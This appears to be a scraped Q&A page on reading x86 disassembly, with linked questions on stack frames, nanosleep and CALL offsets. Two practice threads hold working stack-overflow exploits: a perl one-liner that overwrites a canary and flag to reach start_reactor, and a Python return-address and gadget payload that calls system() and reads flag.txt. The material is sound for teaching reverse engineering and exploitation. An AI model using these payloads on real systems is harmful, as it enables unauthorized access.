I have a linux executable and its disassembly (in particular, the program checks if I'm superuser, and if so, output some message by executing function "start_reactor" and exit; if I'm not a superuser the program call another function "check_password"), what I need is to find a way to crack it (execute function "start_reactor") by entering some specific string as an input for function "check_password".
Below is dissasembly of an executable..
08048504 <check_password>:
8048504: 55 push ebp
8048505: 89 e5 mov ebp,esp
8048507: b8 00 00 00 00 mov eax,0x0
804850c: 5d pop ebp
804850d: c3 ret
0804850e <start_reactor>:
804850e: 55 push ebp
804850f: 89 e5 mov ebp,esp
8048511: 83 ec 04 sub esp,0x4
8048514: c7 04 24 90 86 04 08 mov DWORD PTR [esp],0x8048690
804851b: e8 0c ff ff ff call 804842c <printf#plt>
8048520: c7 04 24 2e 00 00 00 mov DWORD PTR [esp],0x2e
8048527: e8 d0 fe ff ff call 80483fc <putchar#plt>
804852c: a1 60 98 04 08 mov eax,ds:0x8049860
8048531: 89 04 24 mov DWORD PTR [esp],eax
8048534: e8 e3 fe ff ff call 804841c <fflush#plt>
8048539: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
8048540: e8 07 ff ff ff call 804844c <sleep#plt>
8048545: eb d9 jmp 8048520 <start_reactor+0x12>
08048547 <main>:
8048547: 55 push ebp
8048548: 89 e5 mov ebp,esp
804854a: 83 ec 1c sub esp,0x1c
804854d: c7 45 f8 be ba fe ca mov DWORD PTR [ebp-0x8],0xcafebabe
8048554: e8 e3 fe ff ff call 804843c <getuid#plt>
8048559: 85 c0 test eax,eax
804855b: 0f 94 c0 sete al
804855e: 0f b6 c0 movzx eax,al
8048561: 89 45 fc mov DWORD PTR [ebp-0x4],eax
8048564: 83 7d fc 00 cmp DWORD PTR [ebp-0x4],0x0
8048568: 75 24 jne 804858e <main+0x47>
804856a: c7 04 24 b0 86 04 08 mov DWORD PTR [esp],0x80486b0
8048571: e8 b6 fe ff ff call 804842c <printf#plt>
8048576: a1 60 98 04 08 mov eax,ds:0x8049860
804857b: 89 04 24 mov DWORD PTR [esp],eax
804857e: e8 99 fe ff ff call 804841c <fflush#plt>
8048583: 8d 45 e8 lea eax,[ebp-0x18]
8048586: 89 04 24 mov DWORD PTR [esp],eax
8048589: e8 5e fe ff ff call 80483ec <gets#plt>
804858e: 81 7d f8 be ba fe ca cmp DWORD PTR [ebp-0x8],0xcafebabe
8048595: 74 18 je 80485af <main+0x68>
8048597: c7 04 24 d8 86 04 08 mov DWORD PTR [esp],0x80486d8
804859e: e8 b9 fe ff ff call 804845c <puts#plt>
80485a3: c7 04 24 ff ff ff ff mov DWORD PTR [esp],0xffffffff
80485aa: e8 bd fe ff ff call 804846c <exit#plt>
80485af: 83 7d fc 00 cmp DWORD PTR [ebp-0x4],0x0
80485b3: 75 0f jne 80485c4 <main+0x7d>
80485b5: 8d 45 e8 lea eax,[ebp-0x18]
80485b8: 89 04 24 mov DWORD PTR [esp],eax
80485bb: e8 44 ff ff ff call 8048504 <check_password>
80485c0: 85 c0 test eax,eax
80485c2: 74 05 je 80485c9 <main+0x82>
80485c4: e8 45 ff ff ff call 804850e <start_reactor>
80485c9: c9 leave
80485ca: c3 ret
80485cb: 90 nop
80485cc: 90 nop
80485cd: 90 nop
80485ce: 90 nop
80485cf: 90 nop
..and result of a reverse ingeneering using IDA.
int __cdecl main()
{
__uid_t v0; // eax#1
int result; // eax#7
char s; // [sp+4h] [bp-18h]#2
int v3; // [sp+14h] [bp-8h]#1
bool v4; // [sp+18h] [bp-4h]#1
v3 = -889275714;
v0 = getuid();
v4 = v0 == 0;
if ( v0 != 0 )
{
printf("Please enter the password to continue: ");
fflush(stdout);
gets(&s);
}
if ( v3 != -889275714 )
{
puts(" ");
exit(-1);
}
if ( v4 || (result = check_password()) != 0 )
start_reactor();
return result;
}
I'm really new to Assembler.. :(
It's a buffer overflow exploitation.
You have to overflow s to write over v3 and v4.
This let me think that s is a char s[16] :
char s; // [sp+4h] [bp-18h]#2 // 18h - 8h = 10h
int v3; // [sp+14h] [bp-8h]#1
But in v3 you have to put in -889275714, so in hexadecimal 0xcafebabe (<3 it btw :D)
And then override the boolean with 0x01
so basically, you want to launch your binary with :
perl -e 'print "junk_for_sssssss\xbe\xba\xfe\xca\x01"' | ./binary
To be noted that you need to enter \xbe\xba\xfe\xca and not \xca\xfe\xba\xbe because of your potential little endian architecture
It appears to me you already know enough about the program. Run it using fakeroot (and maybe a VM - depending on where you got this from).
Not that check_output does nothing but return 0, so there is no way to convince it to execute start_reactor without rewriting the assembly or starting it as root or with fakeroot.
08048504 <check_password>:
8048504: 55 push ebp // function header
8048505: 89 e5 mov ebp,esp // function header
8048507: b8 00 00 00 00 mov eax,0x0 // result = 0
804850c: 5d pop ebp // function footer
804850d: c3 ret // return to callee
Of course if you want to modify the file (on disk or in memory) then there are a million ways to crack this (eg. change some jump so that it points to the start_reactor function is a standard approach). And you could always reverse the start_reactor function itself, as it is rather short - in which case I would advice you to look for the individual commands via google and try to understand what it does yourself...
Related
I'm trying to understand stack frame of function calls through of simple code snippet:
// two sum
pub fn sum(a: i32, b: i32) -> i32 {
let c = a + b;
c
}
fn main() {
let (x, y) = (5, 10);
let z = sum(x, y);
println!("x + y = {}", z);
}
and the content I got from objdump -d -S <path-to-exec> -EL -M intel is:
00000000000079a0 <stack_changes_during_function_calls::sum>:
pub fn sum(a: i32, b: i32) -> i32 {
79a0: 48 83 ec 18 sub rsp,0x18
79a4: 89 7c 24 0c mov DWORD PTR [rsp+0xc],edi
79a8: 89 74 24 10 mov DWORD PTR [rsp+0x10],esi
let c = a + b;
79ac: 01 f7 add edi,esi
79ae: 89 7c 24 08 mov DWORD PTR [rsp+0x8],edi
79b2: 0f 90 c0 seto al
79b5: a8 01 test al,0x1
79b7: 75 0d jne 79c6 <stack_changes_during_function_calls::sum+0x26>
79b9: 8b 44 24 08 mov eax,DWORD PTR [rsp+0x8]
79bd: 89 44 24 14 mov DWORD PTR [rsp+0x14],eax
c
}
79c1: 48 83 c4 18 add rsp,0x18
79c5: c3 ret
#
#
00000000000079f0 <stack_changes_during_function_calls::main>:
fn main() {
79f0: 48 83 ec 68 sub rsp,0x68 # allocate 104 bytes stack size, %rsp = %rsp - 104
let (x, y) = (5, 10);
79f4: c7 44 24 60 05 00 00 mov DWORD PTR [rsp+0x60],0x5
79fb: 00
79fc: c7 44 24 64 0a 00 00 mov DWORD PTR [rsp+0x64],0xa
7a03: 00
let z = sum(x, y);
7a04: bf 05 00 00 00 mov edi,0x5
7a09: be 0a 00 00 00 mov esi,0xa
7a0e: e8 8d ff ff ff call 79a0 <stack_changes_during_function_calls::sum>
7a13: 89 44 24 1c mov DWORD PTR [rsp+0x1c],eax
# snip ..
}
Somehow what was bothering me are:
Should function parameters be passed in in reverse order? i.e., pass in the Nth parameter first, and then pass in the N-1th parameter (CDECL convention).
After entering the sum function, where does the operation of the rbp register go?
Maybe the code below will give me a better idea of how the stack frame of function call works, but I still want to figure it out.
#include <stdio.h>
int sum (int a,int b)
{
int c = a + b;
return c;
}
int main()
{
int x = 5,y = 10,z = 0;
z = sum(x,y);
printf("%d\r\n",z);
return 0;
}
0000000000001149 <sum>:
1149: f3 0f 1e fa endbr64
114d: 55 push %rbp
114e: 48 89 e5 mov %rsp,%rbp
1151: 89 7d ec mov %edi,-0x14(%rbp)
1154: 89 75 e8 mov %esi,-0x18(%rbp)
1157: 8b 55 ec mov -0x14(%rbp),%edx
115a: 8b 45 e8 mov -0x18(%rbp),%eax
115d: 01 d0 add %edx,%eax
115f: 89 45 fc mov %eax,-0x4(%rbp)
1162: 8b 45 fc mov -0x4(%rbp),%eax
1165: 5d pop %rbp
1166: c3 retq
0000000000001167 <main>:
1167: f3 0f 1e fa endbr64
116b: 55 push %rbp
116c: 48 89 e5 mov %rsp,%rbp
116f: 48 83 ec 10 sub $0x10,%rsp
1173: c7 45 f4 05 00 00 00 movl $0x5,-0xc(%rbp)
117a: c7 45 f8 0a 00 00 00 movl $0xa,-0x8(%rbp)
1181: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
1188: 8b 55 f8 mov -0x8(%rbp),%edx
118b: 8b 45 f4 mov -0xc(%rbp),%eax
118e: 89 d6 mov %edx,%esi
1190: 89 c7 mov %eax,%edi
1192: e8 b2 ff ff ff callq 1149 <sum>
When I program in visual studio 2019, I input the following code and I compile it in debug mode and do some disassembly. I discover that the variable "c" is located in address ebp-8(in myfunction). However, I read from books that "the first local variable should appear in address ebp-4". Is there something with visual studio or with debug mode?
int myfunction(int a, int b)
{
013017B0 55 push ebp
013017B1 8B EC mov ebp,esp
013017B3 81 EC D8 00 00 00 sub esp,0D8h
013017B9 53 push ebx
013017BA 56 push esi
013017BB 57 push edi
013017BC 8D BD 28 FF FF FF lea edi,[ebp+FFFFFF28h]
013017C2 B9 36 00 00 00 mov ecx,36h
013017C7 B8 CC CC CC CC mov eax,0CCCCCCCCh
013017CC F3 AB rep stos dword ptr es:[edi]
013017CE B9 08 C0 30 01 mov ecx,130C008h
013017D3 E8 3F FA FF FF call 01301217
//Nonsense above.
int c = a + b;
013017D8 8B 45 08 mov eax,dword ptr [ebp+8] //a
013017DB 03 45 0C add eax,dword ptr [ebp+0Ch] //b
013017DE 89 45 F8 mov dword ptr [ebp-8],eax //Why it is not [ebp-4]?
}
I've figured out that Visual Studio is leaving 8 bytes between local variables in debug mode, but in release mode it is working normal as expected.
I am trying to get a shell by overflowing the stack, but no matter what I do it doesn't work. ASLR is On, but stack cookies are off and I can't execute code on the stack. here is the code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void secret() {
system("bash");
}
void start() {
char user[32];
puts("User : ");
gets(user);
write(1, "Hello ", 6);
write(1, user, strlen(user));
puts("!");
}
void main() {
if (seteuid(1001) == -1 || setuid(1001) == -1 || setegid(1001) == -1 || setgid(1001) == -1) {
printf("Error for 'setuid'\n");
}
setvbuf(stdout, NULL, _IONBF, 0x500);
start();
}
As soon as the stack is overlfowed, execve called in system.c, return a zombie shell. Even tought i call secret in real code.
here is my python silly script
buf = ""
buf += "A"*32
# RBP
buf += struct.pack("<Q", 0x7fffffffe1c0)
#secret call
buf += struct.pack("<Q", 0x000055555555491a)
f = open("payload", "w")
f.write(buf)
and here is the dasm of the exec
000000000000091a <secret>:
91a: 55 push %rbp
91b: 48 89 e5 mov %rsp,%rbp
91e: 48 8d 3d 6f 01 00 00 lea 0x16f(%rip),%rdi # a94 <_IO_stdin_used+0x4>
925: e8 66 fe ff ff callq 790 <system#plt>
92a: 90 nop
92b: 5d pop %rbp
92c: c3 retq
000000000000092d <start>:
92d: 55 push %rbp
92e: 48 89 e5 mov %rsp,%rbp
931: 48 83 ec 20 sub $0x20,%rsp
935: 48 8d 3d 5d 01 00 00 lea 0x15d(%rip),%rdi # a99 <_IO_stdin_used+0x9>
93c: e8 1f fe ff ff callq 760 <puts#plt>
941: 48 8d 45 e0 lea -0x20(%rbp),%rax
945: 48 89 c7 mov %rax,%rdi
948: b8 00 00 00 00 mov $0x0,%eax
94d: e8 4e fe ff ff callq 7a0 <gets#plt>
952: ba 06 00 00 00 mov $0x6,%edx
957: 48 8d 35 43 01 00 00 lea 0x143(%rip),%rsi # aa1 <_IO_stdin_used+0x11>
95e: bf 01 00 00 00 mov $0x1,%edi
963: e8 08 fe ff ff callq 770 <write#plt>
968: 48 8d 45 e0 lea -0x20(%rbp),%rax
96c: 48 89 c7 mov %rax,%rdi
96f: e8 0c fe ff ff callq 780 <strlen#plt>
974: 48 89 c2 mov %rax,%rdx
977: 48 8d 45 e0 lea -0x20(%rbp),%rax
97b: 48 89 c6 mov %rax,%rsi
97e: bf 01 00 00 00 mov $0x1,%edi
983: e8 e8 fd ff ff callq 770 <write#plt>
988: 48 8d 3d 19 01 00 00 lea 0x119(%rip),%rdi # aa8 <_IO_stdin_used+0x18>
98f: e8 cc fd ff ff callq 760 <puts#plt>
994: 90 nop
995: c9 leaveq
996: c3 retq
0000000000000997 <main>:
997: 55 push %rbp
998: 48 89 e5 mov %rsp,%rbp
99b: bf e9 03 00 00 mov $0x3e9,%edi
9a0: e8 4b fe ff ff callq 7f0 <seteuid#plt>
9a5: 83 f8 ff cmp $0xffffffff,%eax
9a8: 74 2d je 9d7 <main+0x40>
9aa: bf e9 03 00 00 mov $0x3e9,%edi
9af: e8 1c fe ff ff callq 7d0 <setuid#plt>
9b4: 83 f8 ff cmp $0xffffffff,%eax
9b7: 74 1e je 9d7 <main+0x40>
9b9: bf e9 03 00 00 mov $0x3e9,%edi
9be: e8 1d fe ff ff callq 7e0 <setegid#plt>
9c3: 83 f8 ff cmp $0xffffffff,%eax
9c6: 74 0f je 9d7 <main+0x40>
9c8: bf e9 03 00 00 mov $0x3e9,%edi
9cd: e8 ee fd ff ff callq 7c0 <setgid#plt>
9d2: 83 f8 ff cmp $0xffffffff,%eax
9d5: 75 0c jne 9e3 <main+0x4c>
9d7: 48 8d 3d cc 00 00 00 lea 0xcc(%rip),%rdi # aaa <_IO_stdin_used+0x1a>
9de: e8 7d fd ff ff callq 760 <puts#plt>
9e3: 48 8b 05 8e 06 20 00 mov 0x20068e(%rip),%rax # 201078 <stdout##GLIBC_2.2.5>
9ea: b9 00 05 00 00 mov $0x500,%ecx
9ef: ba 02 00 00 00 mov $0x2,%edx
9f4: be 00 00 00 00 mov $0x0,%esi
9f9: 48 89 c7 mov %rax,%rdi
9fc: e8 af fd ff ff callq 7b0 <setvbuf#plt>
a01: b8 00 00 00 00 mov $0x0,%eax
a06: e8 22 ff ff ff callq 92d <start>
a0b: 90 nop
a0c: 5d pop %rbp
a0d: c3 retq
a0e: 66 90 xchg %ax,%ax
please help
Edit
I managed to cat a file by doing..
import struct
buf = "A"*32
# RBP
buf += struct.pack("<Q", 0x7fffffffe1c0)
#POP RDI
buf += struct.pack("<Q", 0x0000000000000a73+0x555555554000)
buf += struct.pack("<Q", 0x7fffffffe1d0)
# call secret
buf += struct.pack("<Q", 0x0000555555554925)
buf += "cat flag.txt\x00"
Does this means i would have to take a register with close address to 0x7fffffffe1d0 and add a constant when aslr is on using a gadget?
The disassembly of nanosleep in libc-2.7.so on 64-bit Linux looks like this:
Disassembly of section .text:
00000000000bd460 <__nanosleep>:
cmpl $0x0,__libc_multiple_threads
jne 10
00000000000bd469 <__nanosleep_nocancel>:
mov $0x23,%eax
syscal
10: cmp $0xfffffffffffff001,%rax
jae 40
retq
sub $0x8,%rsp
callq __libc_enable_asynccancel
mov %rax,(%rsp)
mov $0x23,%eax
syscal
mov (%rsp),%rdi
mov %rax,%rdx
callq __libc_disable_asynccancel
mov %rdx,%rax
add $0x8,%rsp
40: cmp $0xfffffffffffff001,%rax
jae 40
retq
mov _DYNAMIC+0x2e0,%rcx
neg %eax
mov %eax,%fs:(%rcx)
or $0xffffffffffffffff,%rax
retq
Near the bottom of this assembly code, there is this polling loop:
40: cmp $0xfffffffffffff001,%rax
jae 40
How would the value of rax change while this loop is executing? Wouldn't it either loop forever or not at all? What is this loop meant to accomplish?
I suspect this is related to the syscall instruction since the return value of syscall is put into register rax, but I'm not sure how this is related exactly. The way the code is written makes it look like syscall doesn't block and the value in rax changes spontaneously but that doesn't seem right.
I'm interested to know what's going on here.
I don't see these spin loops.
Here's what I get from objdump -d /lib/x86_64-linux-gnu/libc.so.6, with what you show as loops highlighted with ** and the address they jump to with ->.
00000000000c0f10 <__nanosleep>:
c0f10: 83 3d 5d 31 30 00 00 cmpl $0x0,0x30315d(%rip) # 3c4074 <argp_program_version_hook+0x1cc>
c0f17: 75 10 jne c0f29 <__nanosleep+0x19>
c0f19: b8 23 00 00 00 mov $0x23,%eax
c0f1e: 0f 05 syscall
c0f20: 48 3d 01 f0 ff ff cmp $0xfffffffffffff001,%rax
** c0f26: 73 31 jae c0f59 <__nanosleep+0x49>
c0f28: c3 retq
c0f29: 48 83 ec 08 sub $0x8,%rsp
c0f2d: e8 3e 72 04 00 callq 108170 <pthread_setcanceltype+0x80>
c0f32: 48 89 04 24 mov %rax,(%rsp)
c0f36: b8 23 00 00 00 mov $0x23,%eax
c0f3b: 0f 05 syscall
c0f3d: 48 8b 3c 24 mov (%rsp),%rdi
c0f41: 48 89 c2 mov %rax,%rdx
c0f44: e8 87 72 04 00 callq 1081d0 <pthread_setcanceltype+0xe0>
c0f49: 48 89 d0 mov %rdx,%rax
c0f4c: 48 83 c4 08 add $0x8,%rsp
c0f50: 48 3d 01 f0 ff ff cmp $0xfffffffffffff001,%rax
** c0f56: 73 01 jae c0f59 <__nanosleep+0x49>
c0f58: c3 retq
-> c0f59: 48 8b 0d 08 cf 2f 00 mov 0x2fcf08(%rip),%rcx # 3bde68 <_IO_file_jumps+0x7c8>
c0f60: f7 d8 neg %eax
c0f62: 64 89 01 mov %eax,%fs:(%rcx)
c0f65: 48 83 c8 ff or $0xffffffffffffffff,%rax
c0f69: c3 retq
c0f6a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
The rest of the code is similar. Maybe it's an issue with the disassembly?
Following is the output of objdump of a sample program,
080483b4 <display>:
80483b4: 55 push %ebp
80483b5: 89 e5 mov %esp,%ebp
80483b7: 83 ec 18 sub $0x18,%esp
80483ba: 8b 45 0c mov 0xc(%ebp),%eax
80483bd: 89 44 24 04 mov %eax,0x4(%esp)
80483c1: 8d 45 fe lea 0xfffffffe(%ebp),%eax
80483c4: 89 04 24 mov %eax,(%esp)
80483c7: e8 ec fe ff ff call 80482b8 <strcpy#plt>
80483cc: 8b 45 08 mov 0x8(%ebp),%eax
80483cf: 89 44 24 04 mov %eax,0x4(%esp)
80483d3: c7 04 24 f0 84 04 08 movl $0x80484f0,(%esp)
80483da: e8 e9 fe ff ff call 80482c8 <printf#plt>
80483df: c9 leave
80483e0: c3 ret
080483e1 <main>:
80483e1: 8d 4c 24 04 lea 0x4(%esp),%ecx
80483e5: 83 e4 f0 and $0xfffffff0,%esp
80483e8: ff 71 fc pushl 0xfffffffc(%ecx)
80483eb: 55 push %ebp
80483ec: 89 e5 mov %esp,%ebp
80483ee: 51 push %ecx
80483ef: 83 ec 24 sub $0x24,%esp
80483f2: c7 44 24 04 f3 84 04 movl $0x80484f3,0x4(%esp)
80483f9: 08
80483fa: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
8048401: e8 ae ff ff ff call 80483b4 <display>
8048406: b8 00 00 00 00 mov $0x0,%eax
804840b: 83 c4 24 add $0x24,%esp
804840e: 59 pop %ecx
804840f: 5d pop %ebp
8048410: 8d 61 fc lea 0xfffffffc(%ecx),%esp
What i need to understand, is in main we see the following at address - 8048401, call 80483b4 , however the machine code is - e8 ae ff ff ff. I see that CALL instruction is E8 but how is the address of function 80483b4 getting decoded to FFFFFFAE? I did a lot of search in google but it did not return anything. Can Anyone please explain?
E8 is the operand for "Call Relative", meaning the destination address is computed by adding the operand to the address of the next instruction. The operand is 0xFFFFFFAE, which is negative 0x52. 0x808406 - 0x52 is 0x80483b4.
Most disassemblers helpfully calculate the actual target address rather than just give you the relative address in the operand.
Complete info for x86 ISA at: http://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-vol-2a-manual.html
Interesting question. I've had a look at Intel's documentation and the E8 opcode is CALL rel16/32. 0xffffffae is actually a 32-bit two's complement signed integer equal to -82 decimal; it is a relative address from the byte immediately after the opcode and its operands.
If you do the math you can see it checks out:
0x8048406 - 82 = 0x80483b4
This puts the instruction pointer at the beginning of the display function.
Near calls are typically IP-relative -- meaning, the "address" is actually an offset from the instruction pointer. In such case, EIP points to the next instruction (so its value is 8048406). Add ffffffae (or -00000052 in two's complement) to it, and you get 80483b4.
Note that all this math is 32-bit. You're not doing any 64-bit operations here (or your registers would have Rs instead of Es in their names, and the addresses would be much longer).